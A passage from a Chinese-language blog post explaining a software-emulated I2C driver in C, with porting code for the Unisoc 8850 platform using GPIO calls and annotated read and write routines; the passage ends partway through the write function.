<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cm">/* functions */</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">SW_I2C_initial</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="nf">SW_I2C_Read_8addr</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">regaddr</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pdata</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">rcnt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="nf">SW_I2C_Read_16addr</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">regaddr</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pdata</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">rcnt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="nf">SW_I2C_Write_8addr</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">regaddr</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pdata</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">rcnt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="nf">SW_I2C_Write_16addr</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">regaddr</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pdata</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">rcnt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="nf">SW_I2C_Check_SlaveAddr</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="接口实现解析">接口实现解析</h2>
<h3 id="移植">移植</h3>
<p>最新的代码剥离了硬件相关的逻辑，方便移植，根据具体平台实现 sw_i2c_t 结构体中的硬件相关的操作即可。下面是展锐 8850 平台的移植代码。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;sw_i2c.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;ql_api_osi.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;ql_gpio.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#define AIP_SPI_DIO GPIO_35
</span></span></span><span class="line"><span class="cl"><span class="cp">#define AIP_SPI_CLK GPIO_37
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#define SW_I2C1_SCL_PIN     AIP_SPI_CLK
</span></span></span><span class="line"><span class="cl"><span class="cp">#define SW_I2C1_SDA_PIN     AIP_SPI_DIO
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">sw_i2c_port_initial</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">ql_gpio_init</span><span class="p">(</span><span class="n">AIP_SPI_DIO</span><span class="p">,</span> <span class="n">GPIO_OUTPUT</span><span class="p">,</span> <span class="n">PULL_NONE</span><span class="p">,</span> <span class="n">LVL_HIGH</span><span class="p">);</span> <span class="c1">// DIO
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">ql_gpio_init</span><span class="p">(</span><span class="n">AIP_SPI_CLK</span><span class="p">,</span> <span class="n">GPIO_OUTPUT</span><span class="p">,</span> <span class="n">PULL_NONE</span><span class="p">,</span> <span class="n">LVL_HIGH</span><span class="p">);</span> <span class="c1">// CLK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">ql_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">sw_i2c_port_delay_us</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">us</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">ql_delay_us</span><span class="p">(</span><span class="n">us</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">sw_i2c_port_io_ctl</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="n">opt</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">ql_LvlMode</span> <span class="n">l</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">switch</span> <span class="p">(</span><span class="n">opt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SDA_HIGH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_level</span><span class="p">(</span><span class="n">SW_I2C1_SDA_PIN</span><span class="p">,</span> <span class="n">LVL_HIGH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SDA_LOW</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_level</span><span class="p">(</span><span class="n">SW_I2C1_SDA_PIN</span><span class="p">,</span> <span class="n">LVL_LOW</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_GET_SDA_LEVEL</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_get_level</span><span class="p">(</span><span class="n">SW_I2C1_SDA_PIN</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">l</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="n">l</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SDA_INPUT</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_direction</span><span class="p">(</span><span class="n">SW_I2C1_SDA_PIN</span><span class="p">,</span> <span class="n">GPIO_INPUT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_pull</span><span class="p">(</span><span class="n">SW_I2C1_SDA_PIN</span><span class="p">,</span> <span class="n">PULL_NONE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SDA_OUTPUT</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_direction</span><span class="p">(</span><span class="n">SW_I2C1_SDA_PIN</span><span class="p">,</span> <span class="n">GPIO_OUTPUT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_level</span><span class="p">(</span><span class="n">SW_I2C1_SCL_PIN</span><span class="p">,</span> <span class="n">LVL_HIGH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_level</span><span class="p">(</span><span class="n">SW_I2C1_SCL_PIN</span><span class="p">,</span> <span class="n">LVL_LOW</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_GET_SCL_LEVEL</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_get_level</span><span class="p">(</span><span class="n">SW_I2C1_SCL_PIN</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">l</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="n">l</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SCL_INPUT</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_direction</span><span class="p">(</span><span class="n">SW_I2C1_SCL_PIN</span><span class="p">,</span> <span class="n">GPIO_INPUT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_pull</span><span class="p">(</span><span class="n">SW_I2C1_SCL_PIN</span><span class="p">,</span> <span class="n">PULL_NONE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">HAL_IO_OPT_SET_SCL_OUTPUT</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_gpio_set_direction</span><span class="p">(</span><span class="n">SW_I2C1_SCL_PIN</span><span class="p">,</span> <span class="n">GPIO_OUTPUT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">sw_i2c_t</span> <span class="n">sw_i2c_8850</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">hal_init</span> <span class="o">=</span> <span class="n">sw_i2c_port_initial</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">hal_io_ctl</span> <span class="o">=</span> <span class="n">sw_i2c_port_io_ctl</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">hal_delay_us</span> <span class="o">=</span> <span class="n">sw_i2c_port_delay_us</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="读数据流程">读数据流程</h3>
<p>走一遍代码，看看 I2C 读数据的流程。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="nf">SW_I2C_Read_8addr</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">regaddr</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pdata</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">rcnt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">index</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">d</span><span class="o">==</span><span class="nb">NULL</span><span class="p">)</span> <span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">rcnt</span><span class="p">)</span> <span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 设置 I2C 总线为空闲状态，拉高 SDA SCL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_port_initial</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送起始条件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_start_condition</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送从机地址，写数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_slave_address</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">IICID</span><span class="p">,</span> <span class="n">WRITE_CMD</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// 读从机响应 ACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">i2c_check_ack</span><span class="p">(</span><span class="n">d</span><span class="p">))</span> <span class="p">{</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// 写要读取的寄存器地址
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_register_address</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">regaddr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">    <span class="c1">// 再等从机 ACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">i2c_check_ack</span><span class="p">(</span><span class="n">d</span><span class="p">))</span> <span class="p">{</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送起始条件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_start_condition</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送从机地址，这次读数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_slave_address</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">IICID</span><span class="p">,</span> <span class="n">READ_CMD</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 检查 ACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">i2c_check_ack</span><span class="p">(</span><span class="n">d</span><span class="p">))</span> <span class="p">{</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">rcnt</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span> <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">;</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">rcnt</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">;</span> <span class="n">index</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 读数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="n">pdata</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="nf">SW_I2C_Read_Data</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 发 ACK 给从机
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nf">i2c_send_ack</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">pdata</span><span class="p">[</span><span class="n">rcnt</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nf">SW_I2C_Read_Data</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// 表示不想读数据了，发 NACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_check_not_ack</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送停止条件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_stop_condition</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">returnack</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>由主机设备发起，要先写一次要读取的地址，再真正读取数据。</p>
<h3 id="写数据流程">写数据流程</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="nf">SW_I2C_Write_8addr</span><span class="p">(</span><span class="kt">sw_i2c_t</span> <span class="o">*</span><span class="n">d</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">IICID</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">regaddr</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pdata</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">rcnt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">index</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">d</span><span class="o">==</span><span class="nb">NULL</span><span class="p">)</span> <span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">rcnt</span><span class="p">)</span> <span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 设置 I2C 总线为空闲状态，拉高 SDA SCL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_port_initial</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">     <span class="c1">// 发送起始条件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_start_condition</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 发送从机地址，写数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_slave_address</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">IICID</span><span class="p">,</span> <span class="n">WRITE_CMD</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">i2c_check_ack</span><span class="p">(</span><span class="n">d</span><span class="p">))</span> <span class="p">{</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 写寄存器地址
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">i2c_register_address</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">regaddr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">i2c_check_ack</span><span class="p">(</span><span class="n">d</span><span class="p">))</span> <span class="p">{</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span><span class="o">-&gt;</span><span class="nf">hal_delay_us</span><span class="p">(</span><span class="n">SW_I2C_WAIT_TIME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span> <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">;</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="n">rcnt</span> <span class="p">;</span> <span class="n">index</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 发数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nf">SW_I2C_Write_Data</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">pdata</span><span class="p">[</span><span class="n">index</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 读 ACK
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nf">i2c_check_ack</span><span class="p">(</span><span class="n">d</span><span class="p">))</span> <span class="p">{</span> <span class="n">returnack</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span> <span class="p">}</span>
